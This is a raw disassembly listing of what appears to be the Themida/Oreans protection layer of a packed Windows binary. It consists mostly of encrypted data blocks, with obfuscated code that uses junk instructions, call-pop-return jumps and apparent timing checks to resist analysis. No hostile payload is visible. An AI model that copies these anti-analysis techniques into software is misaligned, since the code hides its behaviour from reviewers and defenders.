		dd 7BE45D78h, 1BA692CDh, 0F9848B4Ch, 0C13C617Ah, 0E8CFCAA5h
		dd 4D0C09EAh, 500157D2h, 90288ADCh, 4EBAA34h, 0BDB40000h
		dd 97932EF2h, 7C7712D6h, 605AF5B9h, 443CD79Bh, 0D88CB77Bh
		dd 28ECB5ADh, 9CD948Dh,	0EFB3706Eh, 0D4985754h,	9DFCBD88h
		dd 355D78D3h, 0E7861ECCh, 38D328EDh, 55607C3Bh,	0B042C586h
		dd 83FE5B69h, 0D796932Eh, 126325BBh, 400FCECBh,	0CC8DA8A1h
		dd 5B69B04Dh, 0F30F8A05h, 70DE983Ch, 65E230EAh,	0B8B55010h
		dd 0BCE0DDF9h, 445B69D1h, 616C8847h, 69D179A0h,	0BF5ED95Bh
		dd 8BE703C2h, 30597CCDh, 0DDDA2172h, 0C2BF5A1Eh, 3DDCE703h
		dd 0AA617D44h, 0D5BDBA55h, 0B9901F84h, 54AEEDFh, 8C971162h
		dd 0CE8D51CCh, 0C788576Ah, 6177B525h, 0FA9968E3h, 0D2EA3FFCh
		dd 984DB6D5h, 501F2EA2h, 984D088Fh, 0F84DC8A2h,	0FCFB297Ah
		dd 2AB6044Ah, 41h, 1BA692BCh, 0BFCD8B4Ch, 5F036177h, 0D7D0B7BFh
		dd 648F6C10h, 64DFA8A0h, 7D7B1AE9h, 56536BC0h, 0A2985337h
		dd 0DFFBC2BBh, 27430C04h, 318B544Ch, 50FB1E6Fh,	0E80F3D8Eh
		dd 3EB60468h, 0CBh, 0FAB9B6D0h,	0D08F8C2Bh, 9088637Bh
		dd 3656259Eh, 2CD4783Bh, 17E661EEh, 0DD008748h,	0EDE85B69h
		dd 93E8632Ah, 0C0A3A07Bh, 32E905C2h, 0C3C09BB7h, 0A823E4E0h
		dd 827A19E4h, 23A764B9h, 0C95B69D9h, 0AE490DCCh, 8423F2B1h
		dd 5A72C788h, 0F0B7B04Fh, 9C81DD4h, 2C3922Fh, 6177AC46h
		dd 703BFF7Ah, 0E3B9E0A1h, 9E19A29Bh, 233F06FFh,	0E058176Ch
		dd 55112E1h, 0BB98880Ah, 0DAD27140h, 0BAB24D11h, 0C0409BF1h
		dd 0C4202285h, 34C3Ah, 915C5300h, 753632CDh, 581B16B1h
		dd 3AFFF994h, 1AE3DB76h, 4CB92B56h, 2CC78B54h, 0DA86C33h
		dd 0F38E520Fh, 277337F6h, 0D57C9B5Ch, 6BD45D78h, 0F5BEB6BDh
		dd 0C9C76631h, 1F1CB70Ch, 922E9C60h, 8B4C1BA6h,	6177BFCDh
		dd 1AB98803h, 8B425E1Dh, 0E2211E36h, 7AA29840h,	0BE3967B8h
		dd 69B6045Bh, 54BED99Ah, 403AA298h, 0E1A85F7Bh,	0F5451166h
		dd 7A000000h, 71BA65D6h, 4499BD64h, 0FAB9B6D6h,	420B03DEh
		dd 0B4AD2926h, 4E4B5B69h, 3330CB8Fh, 0DF595874h, 777413E2h
		dd 0C99863B8h, 5A1B2C2Ah, 0A4964C3Fh, 489D1893h, 8839CD8Bh
		dd 615CFB9Eh, 0E786499Eh, 0DCAB26EFh, 0B3BCA738h, 94E925B4h
		dd 8B6509D4h, 0FA1197C6h, 632F146h, 7C2BECBBh, 0F4988B2Ch
		dd 0CDBAA79h, 8964CC4Bh, 0B40984A8h, 65042119h,	0D48BA76Ah
		dd 8964F413h, 56D14CA8h, 37F8C792h, 0A88964D0h,	5A0F570h
		dd 9EE440Dh, 692284BEh,	243830Dh, 655C0000h, 3F3BD69Ah
		dd 241FBA7Eh, 8029D61h,	0ECE47F43h, 0B0345F23h,	0D0945D55h
		dd 0B1753C35h, 975B1816h, 7C40FFFCh, 65A46530h,	0DD5D78D6h
		dd 0BEB6C674h, 8C8726F5h, 0B055B475h, 72ED5B69h, 0CF24DBF7h
		dd 0B877740Fh, 3E591AE9h, 0B55B69B0h, 0EF5ADC4Eh, 0E25D245Eh
		dd 6302CD8Dh, 0E351A667h, 1B18B786h, 0B07C9B5Ch, 59D45B69h
		dd 0AD6C6904h, 0FAB9B691h, 0C17736h, 0D7949231h, 6A6504BBh
		dd 0B88752A7h, 95E1B19h, 77BF844Ch, 0A5C13C61h,	0D5B7F69Ah
		dd 4F6443C3h, 6A0E1AD9h, 0B60612Bh, 9850CF4Eh, 94E5A7A2h
		dd 4689166h, 5295B6h, 92270000h, 76D9F2A6h, 95F860E5h
		dd 968A4B1Ah, 4A6177C8h, 0D9A8B3CFh, 9BD7F118h,	81D651A2h
		dd 9BD741C4h, 0A5B1DA2h, 3E51BDCh, 726D0CB6h, 0BAB893AFh
		dd 0DBDE82FDh, 0EBE9E767h, 23FDC91Eh, 32000000h, 429F368Eh
		dd 15F100E5h, 46A64ADEh, 0B8267B73h, 69B07094h,	5D64D45Bh
		dd 0DE67CD8Eh, 0A6216177h, 0E78674E2h, 15D429ECh, 0ECF9E23h
		dd 6177BD16h, 0A662ED2h, 51C11C72h, 5EBDBAD6h, 16A298F0h
		dd 0ED8C0354h, 5ADC31F0h, 0B605089Dh, 1389h, 71941B00h
		dd 0D55B69B0h, 0CE8F5E63h, 6177DE66h, 75E3A722h, 4C1BA692h
		dd 1FE4DE7Dh, 0F90A0DCAh, 1FBE617Ah, 4C0F6421h,	8F3302D1h
		dd 0F31FD713h, 38D32883h, 1DB87C3Bh, 46456120h,	3F00CFF2h
		dd 9894FADDh, 9231007Bh, 3807D695h, 0B50A1077h,	630CB0A8h
		dd 3CCB6F80h, 70308500h, 0FD19D8D5h, 0B8873AFEh, 0AB63F9F7h
		dd 368C0792h, 3CAAE7FBh, 8AC14BA7h, 15000000h, 0F48F531Eh
		dd 0D87337F8h, 0BB561ADDh, 9D38FCC1h, 0ED18DCA5h, 4D160E77h
		dd 2EF5EE89h, 14D1CF6Ah, 0F9B8B550h, 5D1EE935h,	5D78D83Ah
		dd 927F2D96h, 8B4C1BA6h, 617AF915h, 593450CBh, 188495Ch
		dd 0C1A28707h, 6C07CB46h, 8994B06Fh, 79EF9BAh, 6332A287h
		dd 870767A2h, 0E560DBA2h, 3D87D390h, 0E8AA6FAEh, 94535097h
		dd 6A2926C5h, 0BDBA5515h, 0D07E2FEh, 12D02C48h,	0BE7D7AC1h
		dd 0A3625FFAh, 3FD87h, 338B0000h, 0F4BFB681h, 4100FDD8h
		dd 8F4C4A25h, 0D89F9873h, 20E9E1BCh, 68312904h,	0B277714Ch
		dd 0FDC0BB96h, 490A06E1h, 0B968692Dh, 89000069h, 0E2892414h
		dd 4C281h, 0EA830000h, 24148704h, 0E289525Ch, 4C281h, 0EA830000h
		dd 24148704h, 242C895Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h
		dd 51240489h, 0D07B5768h, 0E9C1594Dh, 0FFC18304h, 1987E181h
		dd 0C1814334h, 5FD49B3h, 5459CD89h, 8124048Bh, 4C4h, 0EE895600h
		dd 89F58955h, 5E5D0868h
; ---------------------------------------------------------------------------
		mov	eax, [esp+50h+var_50]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	ebp, [esp+50h+var_50]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		dw 7ACEh
		db 0D1h, 9Dh, 0A5h
; ---------------------------------------------------------------------------


loc_57FFAB:				; CODE XREF: sub_57DE35:loc_57E05Cj
		mov	eax, 611690Eh
		add	eax, ebp
		jmp	eax
sub_57DE35	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 6EC00BA3h, 3AE25A18h, 38C57D6h, 678D5BA0h, 1B555F46h
		dd 0B2F5C17h, 5229CFD1h, 50233C30h, 13E8h, 9B2B8F00h, 0DB726FE3h
		dd 0A5BE9C90h, 11304330h, 0CE46D920h, 0E95FDBB2h, 9, 68CADC83h
		dd 5FBCAB14h, 0FC781EAh, 0E800006Bh, 7,	0C1AA60DBh, 8A3D9AF6h
		dd 8F685BF7h, 0FC00001Ah, 48D1815Eh, 0FF6C32D9h, 0D98B6637h
		dd 0DEB70F58h, 4C6BC081h, 0DF8B1C50h, 57CDF081h, 0C0813018h
		dd 79B89A1Ah, 9E8h, 0DAA5C800h
; ---------------------------------------------------------------------------


loc_580044:				; DATA XREF: ___:off_432864o
					; ___:0043286Co ...
		mov	eax, ds:2D3CFA52h
		pop	ss
		movzx	edx, cx
		pop	ebx
		mov	[edi], eax


loc_580050:				; CODE XREF: Themida_:0058005Cj
		jmp	loc_580060
; ---------------------------------------------------------------------------
		db 4Ch,	97h, 0D4h
; ---------------------------------------------------------------------------
		lea	eax, [ebx+ecx*4-2Dh]
		jz	short loc_580050
		push	ecx
		wait


loc_580060:				; CODE XREF: Themida_:loc_580050j
		sub	edi, 3
		mov	ecx, edi
		dec	edi
; START	OF FUNCTION CHUNK FOR sub_5800C6


loc_580066:				; CODE XREF: sub_5800C6+16j
		push	esi
		mov	ecx, edi
		pop	edx
		dec	esi
		jnz	loc_58008B
		adc	bh, 3Fh
		jmp	loc_5800B0
; END OF FUNCTION CHUNK	FOR sub_5800C6
; ---------------------------------------------------------------------------
		db 96h,	6Bh, 79h
		dd 0F293E102h, 52260626h, 9C542239h
		db 42h,	0CDh, 8Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5800C6


loc_58008B:				; CODE XREF: sub_5800C6-5Bj
		call	sub_580098
		jbe	short near ptr loc_5800B7+1
		inc	edx
		jg	short near ptr sub_580098+2
		stc
; END OF FUNCTION CHUNK	FOR sub_5800C6
; ---------------------------------------------------------------------------
		dw 0CDC5h

; =============== S U B	R O U T	I N E =======================================



sub_580098	proc near		; CODE XREF: sub_5800C6:loc_58008Bp
					; sub_5800C6-33j
		sub	dx, 6FDFh
		pop	ecx
		jmp	near ptr dword_57FFB4+6Bh
sub_580098	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 1Ch
		dd 0E3D05717h, 18DED452h, 0F2947F4Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5800C6


loc_5800B0:				; CODE XREF: sub_5800C6-52j
		call	sub_5800C6
		aas
		push	esi


loc_5800B7:				; CODE XREF: sub_5800C6-36j
		mov	esi, 0F7EC083Fh
		xchg	eax, ecx
; END OF FUNCTION CHUNK	FOR sub_5800C6
; ---------------------------------------------------------------------------
		db 8Fh,	0E4h, 83h
		dd 1468CADCh
		db 0ABh, 0BCh

; =============== S U B	R O U T	I N E =======================================



sub_5800C6	proc near		; CODE XREF: sub_5800C6:loc_5800B0p

; FUNCTION CHUNK AT 00580066 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058008B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005800B0 SIZE 0000000D BYTES

		pop	ecx
		push	ebx
		pop	ebx
		add	ecx, 6CF7h
		call	near ptr sub_5800E1
		pop	ebx
		add	[ebx-2Dh], eax
		sub	al, 0DEh
		loopne	near ptr loc_58013D+5
		jecxz	short loc_580066
		jecxz	short loc_5800EA
		dec	edi
sub_5800C6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5800E1	proc far		; CODE XREF: sub_5800C6+9p

var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_4		= dword	ptr  8

		js	loc_5800E9
		pusha
		popa


loc_5800E9:				; CODE XREF: sub_5800E1j
		pop	edi


loc_5800EA:				; CODE XREF: sub_5800C6+18j
		xor	eax, eax
		clc


loc_5800ED:				; CODE XREF: sub_5800E1+77j
		push	dword ptr [eax+ecx]
		mov	dx, 1A32h
		pop	esi
		or	ebx, 17A387F0h
		sub	esi, 2EF594Ah
		jmp	loc_580117
; ---------------------------------------------------------------------------
		dw 4D6Ah
		dd 0AC3A10F2h, 0DE4D1EA6h, 16B3D917h
; ---------------------------------------------------------------------------
		and	ebp, [ebp+5Dh]


loc_580117:				; CODE XREF: sub_5800E1+20j
		sub	esi, 69004394h
		and	di, 0E54Eh
		add	esi, 8296A1Fh
		jmp	loc_580137
; ---------------------------------------------------------------------------
		align 2
		dw 96h
; ---------------------------------------------------------------------------
		cmp	[ecx+3Ch], bl
		cmp	dh, [eax]
		mov	es, word ptr [ebx]


loc_580137:				; CODE XREF: sub_5800E1+47j
		push	esi
		mov	dl, ah
		pop	dword ptr [ecx+eax]


loc_58013D:				; CODE XREF: sub_5800C6+14j
		and	ebx, 5832DFCEh
		sub	eax, 330783E3h
		add	eax, 330783DFh
		movzx	edx, di
		cmp	eax, 0FFFF93B0h
		jnz	loc_5800ED
		mov	bh, 0E7h
		jmp	loc_580565
; ---------------------------------------------------------------------------
		align 4
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		db 0
; ---------------------------------------------------------------------------


loc_580565:				; CODE XREF: sub_5800E1+7Fj
		jmp	loc_5816C1
; ---------------------------------------------------------------------------
		sub	[ebp+60E1961h],	esi
		mov	eax, [ebp+60E32E1h]
		jmp	loc_58058D
; ---------------------------------------------------------------------------
		db 50h
		dd 578BA8D6h, 0F4805964h, 6FBFDD38h, 0E4E801DEh
		db 7Ah
; ---------------------------------------------------------------------------


loc_58058D:				; CODE XREF: sub_5800E1+495j
		cmp	[esp-4+arg_4], eax
		jnz	loc_580632
		push	0
		push	ecx
		call	loc_5805A2
		and	[ecx-3Dh], bl


loc_5805A2:				; CODE XREF: sub_5800E1+4B9p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 16h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dw 8211h
; ---------------------------------------------------------------------------
		push	edi
		jbe	loc_5805C1
		sub	[ebp+60E2775h],	edi


loc_5805C1:				; CODE XREF: sub_5800E1+4D4j
		stc
		cmp	dword ptr [ebp+60E0F4Dh], 0
		jz	loc_580632
		or	[ebp+60E0975h],	edi
		lea	eax, [ebp+60E3BADh]
		push	0
		push	edi
		call	loc_5805E6
		and	[edi-3Dh], bl


loc_5805E6:				; CODE XREF: sub_5800E1+4FDp
		pop	edi
		mov	[esp+0Ch+var_8], edi
		add	[esp+0Ch+var_8], 17h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		dw 0ED58h
		dd 0E9FC6DA5h, 8, 0D9DD1AAFh, 0AF6C8A19h, 6AE0FFh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0F56CF8C3h, 2FA464B4h, 18618D29h
; ---------------------------------------------------------------------------
		push	cs
		push	es


loc_580632:				; CODE XREF: sub_5800E1+4B0j
					; sub_5800E1+4E8j
		mov	eax, [ebp+60E3031h]
		cmc
		cmp	[esp+4], eax
		jnz	loc_580662
		pusha
		cmc
		mov	edi, [ebp+60E1685h]
		popa
		mov	dword ptr [ebp+6116F65h], 1
		jbe	loc_580662
		add	[ebp+60E2DDDh],	ecx


loc_580662:				; CODE XREF: sub_5800E1+55Cj
					; sub_5800E1+575j
		pusha
		push	0
		push	edi
		call	loc_58066E
		and	[edi-3Dh], bl


loc_58066E:				; CODE XREF: sub_5800E1+585p
		pop	edi
		mov	[esp+4], edi
		add	dword ptr [esp+4], 16h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		dw 0A6FDh
		dd 0AE90Dh, 67590000h, 8AE5202Dh, 15E04360h, 20E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 6Bh,	1B800h,	85870000h, 61170B5h, 0F675C00Bh, 2F11B5FFh
		dd 858F060Eh, 6116F5Dh,	0FF6A206Ah, 202995FFh, 0BD83060Eh
		dd 60E3319h, 6A087400h,	4595FF00h, 83060E0Fh, 0E3465BDh
		dd 0D740106h, 8068h, 0FFFF6A00h, 0E202995h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 85F8E9E4h, 2B3F97FDh, 0F9F965ABh, 0B8h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 0F0958F48h, 3502C52Ch, 0BE960h, 8FB90000h, 0A387FB7Ch
		dd 0F103E622h, 0C1952BB8h, 61060E09h, 2824548Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0B9C35040h, 0DF20E74Fh
		dd 800F1AFCh, 0Ch, 6850Fh, 95090000h, 60E1611h,	375BD89h
		dd 8589060Eh, 60E2319h,	1F800Fh, 8F0F0000h, 19h, 14E9h
		dd 9123DA00h, 76575DE3h, 0F458B092h, 3AC88370h,	0A32A73B4h
		dd 3CBE57h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0F2AFBBC3h, 4141AECAh, 0E90FF212h
		dd 8, 41937E7Bh, 57412C6Ch, 24247403h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0E4C35747h,	0B16014D6h, 11B58B3Bh
		dd 61060E0Ah, 0D8805260h, 0BD2B5B99h, 60E320Dh,	6830F61h
		dd 89000000h, 0E1A058Dh, 6AAD6606h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1C25C351h
		dd 0D2A429F2h, 4403F8EDh, 8D092424h, 60E33D9h, 11E950h
		dd 335A0000h, 0E759251Bh, 41FCBC5Ah, 27F86B07h,	8971863Dh
		dd 95892404h, 60E17A9h,	6A78408Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 4E0C351h
		dd 0BD8B6025h, 60E3069h, 17FD8D8Bh, 8361060Eh, 116F65BDh
		dd 850F0006h, 0D5h, 1F8A0Fh, 9600000h, 0E04D5BDh, 11E806h
		dd 91FC0000h, 9CDC5D86h, 442A1A4Ah, 0CC0A4E3Eh,	5B55B045h
		dd 57605061h, 52505359h, 585A310Fh, 4896158h, 6E924h, 0D1690000h
		dd 0C3E66212h, 2C24448Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0DC35343h, 0EB57389Eh, 90217ABEh, 66605250h
		dd 50DC6BB9h, 5A310F52h, 310F6158h, 890F60h, 66000000h
		dd 5A61F78Bh, 8E95058h,	7C000000h, 5D78039Fh, 9050E32Eh
		dd 558D0960h, 61060E04h, 47D4858Dh, 6A0611h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0EA1FE4C3h
		dd 7D80185Dh, 29976CD2h, 0E1FCD85h, 31D0FF06h, 0E076DB5h
		dd 24440306h, 15BD8928h, 8B060E23h, 40F91840h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 8C35343h, 8991F7ECh
		dd 0E2F8995h, 61858906h, 6A06116Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1924C352h
		dd 0A86539EFh, 6A58FCF9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 17C0C357h, 0B6087DBh
		dd 0E1479B5h, 0A5B52906h, 61060E2Eh, 978708Bh, 0E1DB595h
		dd 0C683F906h, 6096F91Ch, 0E4D9529h, 11E8060Eh,	0BF000000h
		dd 0CFD53D44h, 7D52E271h, 5987417Ch, 52E8AF11h,	0FF59D89h
		dd 615E060Eh, 18C1B531h, 7C81060Eh, 2424h, 870F1000h, 0F7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0C0C35747h
		dd 0C3EC74D5h, 316A75FDh, 0E0D91BDh, 53605006h,	665E6160h
		dd 612902BEh, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 4297C356h, 8B8950C6h
		dd 6A282444h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 95BFC355h, 177D8FA0h, 2E6BED6Eh
		dd 0A5BD0360h, 8B060E0Dh, 0E13258Dh, 820F6106h,	1, 13E950F8h
		dd 7E000000h, 8389B488h, 0D19C19F3h, 5270BDCFh,	0A4E713h
		dd 489A6C6h, 858DF924h,	61147D4h, 6860Fh, 0B5310000h, 60E0BE9h
		dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0FC126C3h, 0E85h,	9E900h,	0A31C0000h, 0D7206F21h
		dd 960F1A71h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	0B7C35040h, 72C08060h, 0E45B589h, 6061060Eh, 1B21BD29h
		dd 958B060Eh, 60E1CD5h,	24740361h, 0BD8DF924h, 60E1A25h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 64C35040h
		dd 2D8D89ADh, 81060E20h, 24247Ch, 0F100000h, 14387h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 880FF837h, 10h, 0BE9h, 0AE702900h, 17ADEA0Fh, 7B47429Eh
		dd 0A800F50h, 60000000h, 8D0Fh,	61600000h, 24048961h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 35C35646h, 448BBBD6h
		dd 6A2824h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 428995C3h, 0CE95DB8h, 78000000h, 84EBD571h
		dd 6232A5F0h, 604570C6h, 199D09h, 0B501060Eh, 60E34D1h
		dd 870F9061h, 0Ch, 68C0Fh, 850F0000h, 0
; ---------------------------------------------------------------------------
		push	eax
		jo	loc_580CB3
		jo	loc_580CB3
		pusha
		popa


loc_580CB3:				; CODE XREF: sub_5800E1+BC4j
					; sub_5800E1+BCAj
		nop
		push	0
		push	edx
		call	loc_580CBF
		and	[edx-3Dh], bl


loc_580CBF:				; CODE XREF: sub_5800E1+BD6p
		pop	edx
		mov	[esp+48h+var_44], edx
		add	[esp+48h+var_44], 1Ah
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 6Eh
; ---------------------------------------------------------------------------
		xchg	ax, cx
		dec	eax
		fstp1	st(6)
		retf
; ---------------------------------------------------------------------------
		jmp	loc_580CE1
; ---------------------------------------------------------------------------
		db 0CFh
		dd 7187E9FDh
		db 2Ah
; ---------------------------------------------------------------------------


loc_580CE1:				; CODE XREF: sub_5800E1+BF5j
		lea	eax, [ebp+61147D4h]
		mov	[ebp+60E24C1h],	ebx
		call	eax
		push	0
		push	ecx
		call	loc_580CFA
		and	[ecx-3Dh], bl


loc_580CFA:				; CODE XREF: sub_5800E1+C11p
		pop	ecx
		mov	[esp+50h+var_4C], ecx
		add	[esp+50h+var_4C], 1Bh
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dw 0E363h
; ---------------------------------------------------------------------------
		aaa
		clc
		sal	dword ptr [ebx-42760510h], cl
		mov	ecx, 60060E29h
		mov	esi, 429D3954h
		pusha
		or	di, 92DAh
		mov	ebx, [ebp+60E23A5h]
		popa
		popa
		add	eax, [esp+34h+var_10]
		cmc
		stosd
		sub	[ebp+60E28F5h],	edx
		cmp	edx, 10000h
		jb	loc_581478
		push	0
		push	ecx
		call	loc_580D4F
		and	[ecx-3Dh], bl


loc_580D4F:				; CODE XREF: sub_5800E1+C66p
		pop	ecx
		mov	[esp+38h+var_34], ecx
		add	[esp+38h+var_34], 1Ch
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 0BEh
		dd 562E4639h, 0D9F26C1Fh, 252DBD8Dh, 6A060Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8908AFC3h
		dd 0E0FFDB5h, 6AAD06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 2FD469C3h, 6850Fh, 0BD890000h, 60E01C9h
		dd 24247C81h, 10000000h, 0FC870Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0FC4550C3h
		dd 12E9C7B8h, 1000000h,	6EE83BFDh, 0F5E5ED98h, 3C07BC33h
		dd 80B9E1A8h, 0AE914h, 9A700000h, 0D988E77h, 6E0A808Fh
		dd 8890F50h, 0F000000h,	28Dh, 89616000h, 8BF52404h, 89282444h
		dd 0E2D7995h, 0EE95006h, 9D000000h, 400F2DDh, 3AABEAC5h
		dd 0BE44AAB5h, 2404899Dh, 518D29F8h, 8D060E13h,	1147D485h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 9CFE1CD1h, 8C0F8BECh, 1,	799589F9h, 0FF060E2Fh
		dd 57006AD0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0D5B68BB9h, 619D310Ah, 0E9060E1Fh, 0Eh
		dd 76C12A19h, 15BDD2D4h, 0BE3C3D15h, 800F9A45h,	6, 3335B509h
		dd 4403060Eh, 90FC2424h, 1E820Fh, 52500000h, 0DE9h, 0A406C400h
		dd 33624131h, 1A7D7823h, 310F53C3h, 8A0Fh, 585A0000h, 0F525050h
		dd 68Ch, 0F525000h, 0F585A31h, 6810F31h, 0F000000h, 83h
		dd 90585A00h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	68C35141h, 7E9ABFDh, 1F000000h,	0F4F9D218h, 8D29B9A3h
		dd 60E0D49h, 2B5BD8Dh, 6A060Eh,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0ADF17EC3h, 60C62AECh
		dd 0E4D8D01h, 0E960060Eh, 8, 85336C8Eh,	3821E246h, 325B589h
		dd 6161060Eh, 56006AADh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0F8570F31h, 29AEFCF3h, 0E21E5BDh
		dd 247C8106h, 28h, 31870F10h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 5A65C352h
		dd 9E9BFB2h, 7D000000h,	5E7589EEh, 90532639h, 0D870Fh
		dd 66600000h, 82FE681h,	8A0Fh, 50610000h, 98E0Fh, 8B600000h
		dd 0E935BAD8h, 89612745h, 66602404h, 10C4CB81h,	0CE9h
		dd 6E83EE00h, 0F888D2C1h, 0D19086DAh, 448B61DBh, 6E92C24h
		dd 89000000h, 0CBC6FF96h, 0BE6090E2h, 6A2CFC61h, 5061C88Bh
		dd 0A840Fh, 0F600000h, 8Fh, 61E68A00h, 0E800F90h, 60000000h
		dd 1B6DB589h, 0BD29060Eh, 60E2775h, 0D4858D61h,	6A061147h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 4A96C351h, 0F70FD15Ch, 0CE9BAh, 0E5A10000h
		dd 90B81B1h, 0F8B33BDEh, 0D0FFF65Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 7FC35040h, 0D448A6BEh, 0BE97Ch
		dd 0D4C40000h, 73E53BD8h, 33965505h, 0ED8D2917h, 60060E0Dh
		dd 338D9589h, 0E953060Eh, 6, 0A4A79217h, 615970C0h, 28244403h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 23C35040h
		dd 0F971D46Bh, 0F60CC09h, 683h,	51852B00h, 81060E14h, 2C10B5D3h
		dd 0B606167h, 0E18DD85h, 8D096106h, 60E1A19h, 158589ABh
		dd 5E060E08h, 6F618DFFh, 0BD830611h, 6116F61h, 330A7500h
		dd 0E6B58DC0h, 0FF06117Dh, 81AD56E6h, 28247Ch, 77100000h
		dd 448B500Eh, 8D502C24h, 1147D485h, 3D0FF06h, 97282444h
		dd 858ADF8Bh, 6116F5Dh,	474C084h, 4C75073Ah, 0AEC03257h
		dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
		dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h,	66504135h
		dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
		dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 231985FFh
		dd 5DE9060Eh, 5EFFFFFFh, 35299529h, 8BF9060Eh, 0E231985h
		dd 0B8D0F06h, 60000000h, 893DC180h, 0E1539BDh, 0E0D16106h
		dd 1D5DBD01h, 8503060Eh, 60E02B5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0A2C35747h,	59E36D41h, 1890F05h
		dd 0F9000000h, 6660F62Bh, 0BA6EC881h, 0FCDB589h, 9661060Eh
		dd 7E9h, 0D45BCD00h, 0A059C4A1h, 9D29AD66h, 60E28B5h, 6A02E0C1h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0CD1BC355h, 3F8214Ah, 0E1A2585h, 1858906h
		dd 96060E1Dh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	0FC35545h, 13E960ADh, 37000000h, 45F6E2ADh, 0C502B502h
		dd 4A58A98h, 3EE2E5C8h,	12E8855Ch, 0B4000000h, 0BC24248Ch
